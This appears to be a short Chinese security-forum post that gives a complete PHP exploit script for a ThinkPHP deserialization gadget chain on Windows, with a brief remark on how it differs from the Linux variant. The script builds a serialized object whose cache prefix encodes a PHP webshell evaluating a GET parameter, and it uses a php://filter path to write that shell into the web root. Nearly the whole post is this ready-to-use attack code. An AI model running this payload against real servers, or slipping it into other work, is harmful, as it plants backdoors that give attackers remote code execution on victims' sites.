直接上exp吧，Windows下。
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}
namespace think\model;
use think\Model;
class Merge extends Model
{
protected $append = [];
protected $error;
public function __construct()
{
$this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}
namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}
class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}
echo base64_encode(serialize(new \think\process\pipes\Windows));
會直接在根目錄下生成一個shell。

內容：
相對liunx 的exp有什么不同呢？
就是去：thinkphp/library/think/cache/driver/Memcached.php 類的 set 方法轉了一圈。
利用的挺巧妙地。
